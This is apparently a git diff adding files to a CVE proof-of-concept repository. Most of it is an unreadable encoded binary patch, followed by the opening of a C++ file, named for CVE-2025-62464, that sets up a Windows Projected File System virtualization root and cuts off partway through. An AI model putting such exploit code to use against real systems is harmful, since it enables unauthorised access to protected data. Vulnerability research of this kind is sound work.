zWM_^9OF_VA7WT^IC-YrR-B~Ijc#-~Vp60riI_vkWA4#_#=ZlTa4DLCHN|Sud(N-GD zYVl>x5>|HtilbCw-=mjLjxcFNg@sx6!#N9pn!)Z3Ya`*63-z3yunY{6Utp{k)%!Mj zSAY>~Xl#63T`dSee0wV!9!ydBgOZ7vgzoLtiIQzy*gJn`!(qpeZK+ujZX`0M8p%C{ zZRUJ^eF4*@@DCtDMU{R@b<`k5r8>Uu$v2|{5P}2PXrGfSxZEL(i9eM++j3PxM=nab zs>|8dT3!&bHgtC%gOl#%3N7giRcOH%jY{D&!0~;Z-hWr$6_u59s{@|E{Nn#mxefVJ zsOY{tu`zJS_C9_@T!Yj&>xQ zpfs3CcQjwiA3qUVgWZ(Nr2npgUg`4Xm>)Xu)aY86nROuL0UoG0LMpMMhudAcXZsEw zzlrLz)0(WfPH@Z|HPIOzqTk^Y$1VHhE85iC`vNdEAh$ga01gB4As^7#)1%+ZPD>M~ z_5ivE(P*W(n3yI|DA#1P;e44}l4$gSCZIdgD31bNj77-&8tL9skYwD1q+il4dF{G8 zldJuZcs?BmUz9i_Gc%VD>A972E9mAs`OfJ0UGwu`f|9UVA2_)BzPHgv`o4%Fd~`@9N}01Vm#0kEB~y6n7Zbio{ABd6cpG*d8NvoY&t z=RHPh8O^z0(Fx6EEacEPbE9Lp$X&sOr^&6I_2B*IxQo$m1<`bDYzj=aFMN zj6hLke2=%YgHMo?t8qoveN0&X`ECfJ<$yml!x2*K&391|Y;*FV?{R<*r1cJWJ&%|e zHdn-nC#C1?uG~lSsK>zx+R2_=DC0okoHMR|HHeYq>Iv7|;D(MNjfeqhJvWrUEr+Tt zwl_YP8@3OFk&&^1pa6#Lsps#h=OWb|(8qEr8TLGrzlO>nqSN#ij5(Y4>?)%E6J6Hm zP_fqn+=U3^$KkwM_f;!a=hRz-z$``Y$S zcdaH1aT8~i@sYZIpZ3sDT`dNMNjf84CSJXQ2Mzh;68$m>bXt}tf@}N9*iOst)u8xi zPU=YKx$TeG{a6kB)Ed%N$$EwsiLY*F;5^Tq#OTU%?1>K0meb}>GAQ4pDLX$?T5po_ zK(D^=^7X3YiyJ;K6ed|nNH$&$YD_*~xM9@)6eh`nBP8TwZDZqTLN>$7Qy0XTJw7(( zJ#eiwT*d9ZwW3Cx#6Z5m>}abX-;K}!u44S#F(xz@M3@E_yclt>KWLKTuDkw8R}lPN zibmDkOWJ%6o;J^2W%CYqsDd7^h+`0B0OZi;()6H=;2pC;$J`F=rBD# z-n6=UP3KSsHvuKSyS9Nr%4Yec;NalFYob+#nB{yl#j{Sdej|8*Eo*6L-0sjb?=XDI z6CFSNDTtx7$R;<;X8O8^r>Cx^<+WAc4=g2XB8Q7-;If({qoTO6IXBaWhlc~U^uyD7 z@jK$1Kh@Rg=;`UTM6J@9yli{&#LS5*XJ3smR~i z-dOs?P!FU-sK9)xsWV&GY<2c)F!3dPwg*iw*Cm!>`!jXM95BW%sd6;-bB_y=RDZgk zNpSY8lDU-i%d}TB8{pHVXaXfwRl}WKTpUyHsl0u-hvn%+e$BR@#r$B^mz}oxVp(pu z=>WMl_=<7F1Eiq6v%PgG_2`7Ycc_jC_-is>`6XaVv6mE1wA2ML-_EY*E_FUPB1{n3 zxw~NNx~?4k&x3;+vs)*f$_>xHxP2jirg-Ct2e>KUiso?6_7JyJyD8nK{vIpisz9-< zRS|yI+gv`3EG%&V@0pC$Y1`Ts4!&8WyO#&laJgE#&yJC*50KCS+LRQwv_q$b~Jt zBGPPJ=i%W|x)T^(@36gaX-61b=n>D!#J<+j(BMTXZ99+ObV9?0F?+r`Y_eS0Hj=P! zWofy~P}hF0Ae@kZK*t&%uuxot-gz zOzPQvqFsoswK@zx@C?nc-U1)~!TTZ~u4m=YMzLt<4e9xOJ?6x@xw!@)80TwSC`<6; zr3CBxExIrJR(;XenM(~B4zP8xy)^hrfZMB{yXge{MrrDLpsM7PR}9)IGHchdv9Kuc z-IG^~Ik#5_%+{>543dJwHWMsaRK}_l`MJG_nwk?ft5g85U4*!?Gwq&ZXIB@V2QT@XW!XeNaQf-g-5~pTpLxWXkt+jyJc(zkN{a# zJ0?pN2RCq63Fq5{X6-J2gvV*!-cBY}Ru1`o-X71PM@w6qB2VQYHgQsyD$B=>7_qM- z5qase3_9DZm7D?5U*aAGaDG;3>@Bh}1BhiJJ}#_D%zpl)h_G<;qOfktgbpC1`Nl(T zqTw9LOuDUaii(uMaUbx;Rkzf}oGO&irQM6_3QwY2yxddvc$n6@e!R;}2T4;X>-A8hY) z6&~Kft#w9w;$XrFhrp7%mr^DKeE?RM+fLAIO;t_J%gYO%QE+$T{4fk|`A8U_J$N@| zWo6^Dd`?_@n6j@qY!_Y)5?*tcCdV}e6m-Zq&u3)>j)zmW=#g%cfvRtRo=R7)VOw{1 zcLwLzneIGEaO^3h0CTX#(Vkly zz7(IFjKz{|tjw~Cr5*qE>sL({{yh>(iP zVQ67=vL|?Yk@KgM-MO(OU!j-S1o&cmAZb>Z;f&dUiH^_A$T~Qb@bdBb3&vFY;t(?H-6?*L zeO%!%qJdLn#etr#;%u8|c7sxl@1JtYt}pRCFnbD8)+LK)id3fi+vcJg-+;BZx4-0A z8$5Z*w@P!y;S%x;1ZQN$b#)UZ;{9L=xN@o_?tdrME?@Kt*A5I8lx|HX`DD z%x7(^e_H3I!x5zhf1h?E_-7;2uP>CoT!V4i6a}N#NtaHo_-Tv{1*|jDatX&Z!(pIPSWJv|13Pt<*)9A_^m$^N z$#hMYLjb#gjhlB7zXss0r6@Omv#L%@DFV0@SP-(U8kZ$F=C z+)F7&4u}@1K#hthUWrlS9da!l9l_e#TDNkwc{Wz`fLhDD&wl}SSxQqfU z>rKkO*uYJRd*p`k;4^T5Z2Q{cCF2CQxAd6ZXX*gZ8`kkxO>J$Ju^VCSJKW2g9=|jN zjrOgSHbFENI5dx#uDO5S0e+PEpk4=P3x!Rrw+>F1)fBK$TL=)UAAZT@n?A+sEvX6d z@l_nyr@Rp$wpx{1oxJ>%tDLoKK2Y*cu;lVT+Rt2F5BFG4BnRj<6P_KMJls^=pX!==%g@V8%;B3jx)(jIpy*Nj~1r)4kt1&veHS5BO*z(+7 zYoQ=vUU2fsciIx*lYgR=>hFifnBaLQsiZ>lHc}rB40}E}0cOAmQWAKKi){~zEv`?b z28yM)q3+zw+l?3L>#tq_E-)>Vdz~!POn*uCxT8YsHK-|C?VodKU5G; z2mTQzpNxGEe-)7yf?%7c?+uU(P9FLH$OWs%2nYxOq!^-Q-YHXRgJqvJs(R1q!_SPy zMy`f5H^HfQWgW^lSWA3PKg_VF zM+#1^)z;G!24r2Dk)Q?e6IXlsE$$PZmHxtHW|c%1ekIkm&YT?Cg{o0eQPuY|Z&*w# zq5e7|HpC5RSnvhNHv7h8rrYfc>(dq`ieYEeWoElg>f=*W#hkbzHl+dR3z{u~CBApI z-y3stbAuxSv?`@l-iTH8$O52w7PCy7ToJDygjw<0EKiEV@gwyQ>Rx%1#z;_H@)fxL z;-bI}o8_eABpgcfNA-c#lr348W@2JGKud*t1h6()5kN+4ot>R=U2mJt4+=~HkO9m( zus1+dKLge5CmIKCs77WdJccAw$I#vWSfc!x^;A!REUU$IGcZUMm6b7+Bff$$&0SrI zfvWcMWo2chqQD@+8N*g#agQHA{xXypKQ!?9^XDk#0`n@PvunkvxqbFF9V3`u^HYHS z2FE#Tb?#MgumqX!;b0v@s-%hO{FL>L4Ov@d@$6h_JyPwJ>7GkFDr+^A%985O^Lllx zqa%HQwjNrry8a^SAhG35*mh;eDhy!4Fm{{ha@CJEfVcN9u<3VX@YJ&{2&ZLQ%=CUa zHPIia=*D*i>sB3~4*=MH{G_Ji%@m>RHZtjQ)Ry5H9eT6Hx^t)I{Oeo_ugudIDnMHB z#HBYev>q5H+dkO~-f|fidMx_ve4-uJ;~Xfh)^v2%R&o0(!D>Xr#B>4IykR+ex8X#2 z--llyg8+CY@y@w;6=va~p;#(1da@E@`r<7q@$?l+hO%~&jh{bX6j=Y_h#g%{>+y=y zLB)rWlQR{_2-dM<tF9 zZE6E-c0D|@WTT+uXz`-S@?^&sJ78F8t@_yOsjkOen9uoGIjdu8YD!M*NflCy>7aIL zgyH)2csXjBc{>Jhzr`~Hd?KTjah93$&5~jizEy94Jg(W=cXXx3T4utD=5Rs2RimW` zNq_|0om~^J>B?`N2&)--5{TE;lC+#dZY<(KKWv>a7JDI76tD{2hY#-n`ShOISa)$) zb(t6L&|_ZRDX^G1PCTuzqvJDhZ9ZW0icf!d67*{D`v7(~xKVtZ=ti`xiWSekefvtW zg#Xb#WX!>nr$n>515nbX)QdV+iV3syNj!53M1X4-&rGz)s$!||)x}xr2io@u1O3}& zSVFXEA_q_cKp<6>d8;9GYh)iI5tv&t85_5HiKJyUCuJ$WtzV%JKQFf8vhp}4^`O7}R zYP!=>=dwN;klJx*)B@OUET!(Or(R;+ zzqV>iuq9Tk>dhYw%w{SS3NfZ0DN{4E_{2mZpyo>eS_s%8ldkRVeihmH2I!+WK+=8G z$5?#ujvT?`28gjrbXLlK|yB(nkqa9Yg8{eZRWh`Ujm8<=#WdE z!wm~TFJImv#Sy3UZvx_crEg`aQ#bWMYFvVyt<3s7w~0w+)~em%=EcP3cAEp2VG+d4_T=FjQd#6&!$l44i)-%OVi_Q}%kV!kA6$@O|}&Isc1K7G|q z<7%LK9q(_gFF|d-CQ$=+`S{sucO<#J79s#HgnhP^^G)LiyWJ9sz|9sCIC0$qW&|3F zkdigR!>{TkfT{;i60pgcq7{|3L~k9EaG1LQp+?rKW(bgR0CC1$FNeuxNc4bRGX>`s zh%?ZKmn>NUaJhA|wF}3x1jqIEY({_fm2H!`)IuD%Y^nx0UM1QdDE z&>Na8xZuY!nx0ZG@ql4XNuk;52;T|d|Q=M7bzHIen|Eu@> z@n!6BWZ9iYi=&NB@$vCa;3Xz4tNrHc`{w56_kiddaUaj%CNKuqdpS;eIiCf8Gc3wt86OlH+S1OX8sB%s zihzhHIsWhW`tL81ouFr6xY)PS($o~0lf%q&;U5uUVL!IaGyl;W!k6?*2RTJ@Aw3el zG>Rrl3F-f9ow3P=$Ii|^K0PfXDd`K??BL*F#^v+>yKVdF&=$Xb&}{nuA9WzJ*|Dsz zumAQxfA%D%lK;5g1{j*Q(g@I)q5KqR!35kY2mZS^JumQ^m+r5dNXe8kQN2(o?P+?$ z!`$uPb^2;-WJJWRix)2fkXFilXXx)&e-GDP45^I_z3?v&QGNVqe*7p(uw0iQ*j<&pr z;`5{t77@9k*OSj=*)cazc`7zG79UQVApEb?z{h`DUl1)>yq<}F#v4^VvH)bZw8o9I zs~83&{&CZJCNPWQ#r|*Ogq|~mgpldO*0RvlZf$KDPgO*w zM1&j>2o4XIrSzA$8r1xPh_zbvO6k8Cc_U?(RbM2bfcNhHLn@zU@tnH#Vj3B`rK-Cm3N*-99_V`5~C zj)*u<#AbQNr@6gdE-d)Q69Y=yK3R43DC4|WfSoe3u_bvBvIzRnD7}63R}mA&15Nm!P|>8 zl+6m~KNAkAE+b`G5fPCa=94cmF){tBG{8L+YLqrp{Ye8I=<`<;`j6z}c1&o9LB4>) zR+~dI4DYYc>}(tM*sb(fPo`HchVQI}uXm4d#3>pUN&EWx4*A9&e;oqntE?5L1_a<| zXJ=CYX;o8;9PFt7&usYZ>`-jZ%{vZ@d=AloX^*CEkEdn*asURQEb766_i(4O8tMT&2}$XwW74Pwr=j}Nsf&r1GiFDRi!Cr$@NVX z;$yS3rB`|^!hywrzPS34Y@3y7p9-V1?AxmYof(?$7rgmrb6`JCydzFNIY_V;B~8IP zAD4Whi)>b^SGK-TJY}y}%uap^o!KZsizO&fX@LS58%$_d^vT09O#HK%@>Ex@m~4tt zDrEIzjaB!RB3o zDp28pDX5nyR=?f_J3gB*g^I1C4?=;8KXNeMdbibd%Z=8MRB1@~ETY_OS}W5%K;?~( zkNXT<+qIr*8XC6?%%>z&RaMs#Nd=s^Zox>Pr~Tr^rInR~hKYB`M^g%>DeI|__yGEl zB`DKg+1^VfaEexi+Cf_6Use!%fxv?@yq+qs<^ZkDfCmeyz>lEoLST*b7ET3#40W%r zOU`H11k$!Gk|cil;r)z@+&B}ihtvj?B#05z&g|G?M=N`OV=iZ_R7g?#ElS!K5qf{}0zN~E8br^sr8i|!qsunrUD*F21dE_?u$+f7<&JsHU#2?GCn9ts|k^E4n1y+}wNaIeR~Q?`J>9^}yuhqNt{-MF!_`ut07Zf@@6r#AL?)^$bS1j7SPwDVd`hQ^p;Yt@@)c>kv?QT0FG zY4)oS&!p=7QOV`uNfDd%x?X?cICp<>cUQ4}@Y{QG6KQcE|<^6aFq9r-#y zgkUx1xP1PvZ!-+nfv3CbezC=ihX=_3P{+l^X-h6gJ2@F)Fa!`)Dv=xe`fPPyJ#IvV zcJky924@D23p|`?YGQKC)ir0oqM|!{{FEQ-dBA?RzRTdpUQQ`*h{n^!jfvtCo;*1U zi(amH&h^u$Pd~PqKQge0>^{)6b)BMzL(AA`xsVJ_SnrA2yaR%fgaN^SYJ*F`RjMio z|5eE^C+&5_{+ot`AEGVK(O|b&lw>=0q83~zc)<<3<#+8$oXtA&=^QwOy3&C${ejVYU(VEG{1e-piX2;V?(YjpjJEL6idDcg7r4?VpD2zjz%U^D zN*5FK#_nJE#y;Q&OwjxA`u<#}_QLb%%KAhN0c6c{Y8NXWWQ}z%F)%P#0(vhF>(+57fU{&$%&ktIO~Zd%-i>fxmtD%36X$E7z`&nhmTLRpBOi(P7x!TS_H zOS?U-3!FdK__M+I0y0B%?f0!n=MdPUC0zc6k2kzOc=kdn=QI(&rH&26(%_SoCqXXX1AxZHy_eamzh7cdg;E#==5 zz$7d=4$SW~-iPF{q83Ro^AQG9wXdf^jn`wcrJsqO*6oQf_*lGYT|+=Cx?da9(w5J& z1sr%!=?QyUsk*=%xrnk{B0lb~;-aG5DD*FbJ4_26Rjx*;m6;F-Wb+ywe1I=+9aQ=$ zXMT2e_MXurfsGcLN2=cOfD z+d;FqpRX~V4Ot=vkrjwVI88eb4Rut9gFD`^SOyTgg>I)N0Dr^V9bY$(gk{@8fK?-l z82Ur8^yOaqTaD|PSIQwzqbWWmEL>q7n(xI%fV)wLYtZy<*F4mS`My6^#zOONUqskQ5x{*&b>^2 z(F3Bty@nZ@)flcu1w1FL%&41Y6RP;qM6m}Q5M1+8{Ya;sU?r8;nwWL!)Yv8uZsb{aaCwD8aNfCBJza`iE=c5Am^T18&kMKoRF=qTNdl ztC$!mkAa{QZq^yiqD1yA`St@n%r#c>@({6+jku5I z-cNf}f%HMt$=WKz<5N77pZTzrTU=bm6d&^h*DDjs%F5f|On$^Fso2<@$g^>~pH7q3 z^1Xs+vocNB*3W{0=JOYn!SDg}uUp+U;8-QHKp!PW29CLf1^8w*3W@^$wE9HLFkm{G=Ce6l|@SdY0!^(E*2R+nqdq?X8GgwD{x`n# zsWp`IDhP(;W3O+A)s>>wq{=Goe&0X0(hplWF8|toQWh8<_EiBzCN=)<(51inbGA9& zua(nd4lNo~dp^l*o&m%t2d0g3M}&L-Ad2Kf8w z2_z`!o?lLieZ?+pzxVbq@61hQJ7}pxfJ%mRhllzFFq9U%_+^ZB#7XBVuPy^Nb9u0| zeA?d*?=Rd8jhiTSibKLNG4Ih;iTv<^h^T=x*&|(@evax# zE>yl%>mfTOlarG(&O?#uCF8F4J4%F>Wzp5?sV%GV^SznAZMp8S5g+Q$UEiNeTwhzF zHQ(=?n#Lu>x($qSqnX;cNW2|etY5nbT>zx*%3PHy^6*e28H+ywA114RPvDxMmHz^Y zTMx2i(xRqRV9#@N!K75Lc00Gg#b$Oryy)tXSqXysLC9k%5kS+p@wXcgNMR7GSsS4k zlS0}t=+iRt`mc-(_}!__U&PnXy>cc=;o;Rv#}`b&M|}+MiegecIQD-vd2<3IaqaYY8?k{M4cHko!CEYIOoL^b zdA*5F>M}C;?|8=2%Hyw%l{0Ia*`+mba`C;evt%1c5YrS9I5oZBcvy@&mycw4715;X zBdxnkuyh)Y_;9MTmnf*W*n9YRTj9MahuO=kb2GhW99Fxb~0} zu(6S=#rcyIyKllI_lQ5Z@#_gI;+h&HJwY0-TR)_GSUPH^RuU$^7s)TavFE z$nFPzX9I6u{uUNC8=>U0fA(hy1Onl|Z5xjWX)?of$DJsMJ!Et>lgAVFF08}R=us6; z!>3PG^L~j}s;OPNk5%SwzEl#{#kK#j?&+)ecCvBDJ+PW$d}?!F#Jrb{q^7EZ`uocf z8!73M^q02VS8%G_91ZCn?%r=RSZ-IeWoA$B(QmjP0kqW|w7)w_`+8f(Dgp5X{$ z{chN+10#0_5wS0V70n!#$q%TrADDL$~kWtE+mIA z>UlhXm+5h_o{2zI+Xw0f$;!$;;A-%3u)9C{e`}g9RPdX8_ThVLFY<;EC4~NF z-8!a28eFgVY^e||x>f_ZCb;;cZhcP{I z8{U#fvNlLS+9s5AfRWPcBfCq?VXih*ab56g{A^1{d}#l&EJB>u-grmu4i> zPk*x88g{2jS0e!d$(?l={}>*c-l=mZ<0HGfuuOy$<)c$98cy1wybb(%^AT)MQBv!-$!qd}ne9qa(2a&K9po_mXM?hFlxTYnWN}+t;<0s+tXFR<0 zJ?u`i9=I6Bqw>1S8xn`lDTtMU{na$&qHF-nz~Fjw;Z$O&63$Ymm!q&6YnNdQq7Q@x zNRM&;E9W!&NFozNsMRHwfdj`)!MwVc>WiR)E{3-6a>Em%q&^%kb~Rf~zdXJpgYohk zx1l<}7Fbcwp`!y9o%wm%dUG2RYDEU!b{6xhp&_`pEQK}x0pvq)wP{$2 zI#@+RGxNsHbj3;^mc0-B4{9WAL&#?Y51YSn=@6DE_Za#E4b5kD1UCCZlg029aihpt zCBS1u=_GR1_=uEsdEUxoD;+zA3X2M5+`g84{f6C6Zvi!vzC5tKNWiS|pyWcQ=WlVg z91-2O!=Fa7a$;%Dgqp$N8X-3UCyY6!BVIJy4M!ihXvuf!w6ioZ>^#&fQRBCp>e&SY2a-4dx*lFOP$*x{!IH_jXo7Ii0rn^+!|7v!eb?;ci8 zYuNz2mfpn%R$y$N3RR(bd!a#6f8w;p;8^{T{J|4bxpJ=2y4RVSM1Z}gCbkZ>p&65e zf0XVm&gR24@v0h?#WUAk#}D4VNsW`c<}&f`5mV6bde`MsR7Y~Q+E61iS{V;>_FLgf zq$c9%wonS)z>j$BeOE^cNP&{+OahN>8`C?9V<-B~w!4}dNUTPkhmF_NDlQ1zL4t`x!0i~D+XiKTE=Bw}@BNMfgy`%m% z;=96%E@+WH?J7@08#E*E6D->k7Z*F^qT|SCm zIiJ(uFkz#~V(6|^u{WYe=2VUZze`RmT<61slcxLL&QmUKdeR=gH`x!;!b*>zgeem? z&Z0$a-P~47NjBz=amZb7k2_bxnp`r_*2UD^C_&KgYcK_f2BAggsN+2lx55jhDX5S~ zxUP2Mc1(@+Qz0#ooy9FcU7s(!aPgJw$H(ofU%)m$JL*=Z99$idy;pfRiF zpivY%zqw~s;D$Jv*eh5oinyR>Z#nM1LxCOMABdjoi|+ojqqteF!jIH3{Hu3MA8)Si zc!RNl&@Cn=G9z(^VF%$=Wp`^oIb^Mr*qt&EHW;I&u1-V@n7Mb~PWkxtTumQW)&f$}a?#hT89 zb^dY&rEk5Zp+R5cX&Y&*3(uud4J5lnRZd~~!hwy?KSOJV?qK`ZSZ+6({TAThh z@1mgO=r)9BeTtPDeBy$_SC^ES^W(O-HB$JJU%BSOrFc{1i)mG&9+iEq0rzNE7mR6Q z#iiAXZu`$1GQ#}m-4(A3VC(2?hptU)vU0BQx_D;ueL9dMwOGW)ZURdRbgNijMO?Fy zFEQ%5V@DC=<~Ag~XAMNqq&4s=VRc&bz0w({j`Xs(@dPts9t zJ8A}&?9QS;ZGJX#G{`C_g<3=t)D^MX$Nmiq_dNfE>ERi&Nz&5@`5SUOKkUUHsQSf6 z0$b*#G}=P1yqIEORWdk!e)_=5FwhYGuy&bz9Td0nu#7x3eG~xJeL`!5V=-iuB&o%o_40`z&=25 zhEa>=J%)jV-xc`{bgBkxl7(cP@Zt z@mCJQ?ct{v&?E`JmBRMcg3@qxbT~*x3{^Bqk*(VB3POp)eS6AhAKUI7;0-oSy3M%TeL745ULP@G_G=8p%BPBW~B=vU><~9LxfLYotU5THGBKKD0 zZ@eiu^*M?aW7eKiisGbP&#YVjY?)h_F>6>n-=^7eC_UPL#tu=Pww&GZYw)&8zi5fE z?4N77gt=*p!HL~R6Nx+|KPwAuPVjS#r-?OWS6@3{_|g@S#YKT_+r#B5N;D)0Mc z_Lt%H^LVGK{Jm+9&&oARxsT2u^E2!1@?*wq3FyVy3FRo5WR_D>YdING?~GVBDo?gO z?Za*-T@^>r$rAZ#dtcjNxT6kZbTMKhu(yWDhN8Ye#nNJ0WO%g366{$F8))s6%HAzz zPbNtIF+5Tpth`CV*WGOKNt&0HRfeEASIO)?_r2NC?9&=Jvs4bXYKP7-AI(s!P>jWwYq55xRDxqgI0dIK>r@Vk@ z>sG6x#<_ZHi_8vwr|F3abc*=4D)h$EgTrs)F`uY^04g``l4(ov8nyWENt28BSr9ky zUW7UMbVtVudqK+kZK2}YNl(hBar*cH2@j2)7G&!3)B+V3Zt5?(&!=G#Qwa;exqN#w zIBn$mB>TD>^nJ+>XbIkm4b2sk7mZei{a0au93*^)RnEbn*QcPm)IX-^& zFyMvO)Y|Xz)ja!9PL{3T0-WXzL~pTdh91p#!H&!Ry+RTc9XF0wkzCZF>p=&LEBNY6 z!J2QE|B}w?D(;or zuygf+IS+%^AyWYYBZFg~I$pG7Lkd;@sj zV`#hIVWbI8Z{VtGt!T$=uP2-aXl;5&iAc?4u%=lVFkvTyX>A}D_{G_Rx((55JRAC5 zq+?ITQSXU}Dt}&||86B@9|E--k*kX69CBs2YseW`4VUH^#FkWscKraaYx@0Bb7(MT zX5KZZrn5&d`xfJUC-V1YF4froh;zY|vRKMYW%6GLKZYAS`YsMF&3 zi?8b2$gCq;vyY-Db`%c@I^cnAUL8$Mjz*w%y>y4v%Hx21;}@=v$L>Zt>ws1@e=~i- zTUNZYp02L0$P7v3pfb@9@o^ zsi$aLwd6I!c_ZN?x&s3-t1s}4t=xfL%}^c^j85prNC;CyG{IC0_glXI>QxzeJ_mmq zKaGuTXhEXAB_jNf1g2ng#rLpfN=6%>ix8f1$aXXeYD{aTeMz0aSbcewRVgB^M^6=) z9n)&%@pIKH)e~ZbWtcvh3%_<1HI^;6-@5py> zzV^r9UKv6>IF~emsf{cyFCDboN~&04BN%ebCZ4qso9(%ipavMu^L(!Tr!6AGdEvk1 z#J;%JJw4JYK=-`q^Td(}xavF=$`LDS8*!ffz^4ZZ2bcY9XPTEQcoN@bZ$J%VJGdzJcJZX(D4QmZV7BL#A%Im>EU*{b^cZ ztk3a-0|OI+1bxLpb;wMvf-ROV5~<<@5mdi|48;WaxS>BCfnPsZG$Jg={`#%!Zoih} zgNthLd94jLB#JYc*B;Ev{rI3IqC|vFQxgcrdH+5L;c(a~`kQI%{9Nap{L(cMJHMdXT=f z$sXaBnfYkCd})=U2h~2%VoQJuQz}u@~V1Dy!1j{9SmmfzpqqFtjJeVQ@XKz>!*Be81^E z9VoaxHdYC5#)gHJX0O=iJsQ0&5zEd86OX|ZL?mVnqyWqFN>k1edtt*Kq>k_#XO+|Y zt)>G@Z6CQVK=_nRoI#vDy;WFD<~LS#3tX3dg{RHtfGUeu|0lBTfKXw&3iCy7QgnJh z$*$&_>1^`EdL>E?VlQr*!5i!Rj@QHN^HCMPpjk1QD@bUZDSDp-N!U2uq9P?muY8in z1>U*dWUhYqo8Og|rWh}DWx2mUB${k?%oNR46OKDX!Rp9YQtCsN2AL=l8U7{U1XqYc zuH@p}JJ^TZoIYV9Eu%c9xxBk87fHC5$0lYL=4ZSI$){370bWm>2kJuD3j+GOw^Bpx zfD+n`ietBT(KPBWuikJlgI~Y7%0n3H*c7X)O$S!{xVS-}-R&X4wt(r^C-RW?ZY@kt z59zz89uQ&21ujO(hA`)>Ky~(xz}^G}^3z z8CTtn1R=s-c-Ehcx%bN(gp^O|VGY#kx74&4n-VPu9a}LJH!UR53e{%}K?v_f*ly=5 zntHewvKXSHe_dg9Adi0|T3Hc*IvG79>N}H3n07*3x(raxGuzO`!$9QQ$p~FtnM4Hx zy%BFzN*3pHiuMQ~&BX-GMMW;cUW5xvI0^tE($7i{-36ww%mDWE@f$OJ3b{CKUHaNh zRgmrV2k^GJO(n7*GInHAVy4zC>>_-HW2%v;oi6gVPxI~rtcqsVP)%Diqo7>iYl{}Y z0%RqAhkj}d*7XI)Rh`HZ;j7%oo*TEE3`RWjqS~nl%B2NEgdiF~|B+J^)N6*-zW3Wl z<%VkL3P>6yj7|&Mr3+2<*D&G}3FbX;dqh-&3D%Bw4JjoMbgyKJ&a&gy&5Cr1=)H5 zl+MQ{Cl=%4JgOvhA&O~Nv_dC=K;n4ikG5{ex zz;eYv3+`QE|PuU{iD}RgY)B}Ky7H{u(ZKLkUiT` zWab@H^c_Jw!L4W@6}Ot?eM$i(hFe6Pwk}+F2vg;udzhp{SEkUiV(_bMqXK(oe=w=? zv(p^@#CI*zubZDwO5JP1){q2sCsQSKBUdOJ-7hXSPkL7ob+Qk7&>pmO;m_=(Z>>E- z=^o5g(TXJ`g-()D_^)HV{52tME`6w;Kz1BFw_m)~BlF+HY4bFZn~6kKn$eY3g)tmB@^b-%{e{ej=c zj|Mgcf;H#-sX1ZO!Cz%glSA^u5|*Qr*Hx}|q5UxV`8}+x(+Xphetl%~X8-8sPgQeo z*XLb%HRXa2)#+C3c92P{RZ%-VaB?!?4wX>LfO3umYJ@Xqw?QjYqL0cP{{dWUU8TAiE$e()H%)>r3fY6fsHt`h;TOcfhu23Jh5egGA#PN@nh%Zgk{J0#7obmD z%1A-g#>swlCA})ip}X;$TVmqsx$Rr#xqz`qD7JFmeiYyfa!IaKyfTsJGWPt4Z?b4z zUUGkop`nW?8(N7G4Uz=_BSHgZ>A;@h^p7o0@}YBM(`#6ZoLfLvLdGw?wC7n!8i*s$ zqFd|dDHpTr#L9{J+56w@QvR;iG1tEmM-Z~ZYL3tuM9I|j%aJQIYx9TpNskj zw#My0enEykwHyD45X8QrkIqx{<&=g`X|*LhBH!DrJ~I_=3$3c16ai7oT_j}(-ELSG zs4=H*LED=+7F)v7zOUn?naLHf5XjZ5%@3*n8)b)YXNba5>Y@Y}9!9e-(MO`QsPfQV zNl^wQP_qP0;Mx07#c{Rvsy$38qzE#kQB2P%UtppZRrLonOHs)(5+{~;zTOk(dLkkKOZL^b6MuK6*_Aio`7-XDj5-)O z)VvJC149gNFaECOYP=uWUh7#W-A>KS!JcDo z(5QV{+2c-1qtMF0r#(dwuo?l~b8y;C zVMRPJeSrx6XW8mvCR@e^^}3h6lwo1mM?IrRVhi#ca_{(cg^M45!!i#({NyG1Ja+FmJ3^_u;g2-5Q_sV{_&7OIa>y ze^fNW?Sak8sqarJpNaVG5V{Giem`#15M4UzCV0%&G_bn}z-4K$vcKAmvY@xzH3hw}bK{x=k z7Vlti0smW#5XY&Hh0xbB5C8z|f2+(tcRd`O%~|c;>`cMV*7lbFD9!)HH;EhZD8m2% zR!9KA`~Sf2Kw19>?*evpg`!>l8+<>MqNEr4#)bbcyc0Cp|AAXThld8p)E4~T@YdNy zmHDs$05cu{fcYQcouQ2X4Dae?3;wUcaU6r6C_VrHzUA-!Pwpxx{{ovkn7P?O2j_o_ z{Vt>Q01lda9W*}if5fh*_!r#R8Eosq`tKwx|9IyAb|SOY6h%FhfdR^f`X5YxDFJ|g zlKfX7xn2QOK_38E{R99&d*I*N5!Js^aJ2&4fm#3Op8dalihrM||4E_4_%8}Ou(>se x)!GhZ31(+;w72}f>Hquq`p1m^--dtiU+1@q0z5Qn000Gg3xy7zg2R72`hUnTcJ=@O literal 0 HcmV?d00001 diff --git a/CVE-2025-62464/PrjLeank23.cpp b/CVE-2025-62464/PrjLeank23.cpp new file mode 100644 index 0000000..e6bd821 --- /dev/null +++ b/CVE-2025-62464/PrjLeank23.cpp @@ -0,0 +1,586 @@ + + +#include +#include +#include +#include +#pragma comment(lib, "projectedfslib.lib") +#pragma comment(lib, "FltLib.lib") + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + +PWSTR gProcessPath = NULL; +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; + +DWORD CompleteCommandHandler(int CommandId); + +struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT +{ + GUID virtualizationInstanceID; + unsigned int Version; + USHORT VolumeLength; + WCHAR szVolume[256]; +}; + + +void PrintInstanceId() { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + OLECHAR* guidString; + StringFromCLSID(InstanceInfo.InstanceID, &guidString); + wprintf(L"InstanceId: %s\n", guidString); + + + LPCOLESTR lpsz = guidString; + GUID InstanceId; + hr = CLSIDFromString(lpsz, &InstanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + CoTaskMemFree(guidString); +} + +void CreateVirtualizationRoot() { + + HRESULT hr; + const wchar_t* rootName = LR"(C:\virtRoot)"; + + RemoveDirectoryW(rootName); + + if (!CreateDirectoryW(rootName, nullptr)) + { + DWORD gle = GetLastError(); + if (gle != ERROR_ALREADY_EXISTS) { + hr = HRESULT_FROM_WIN32(gle); + wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); + } + + return; + } + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + hr = 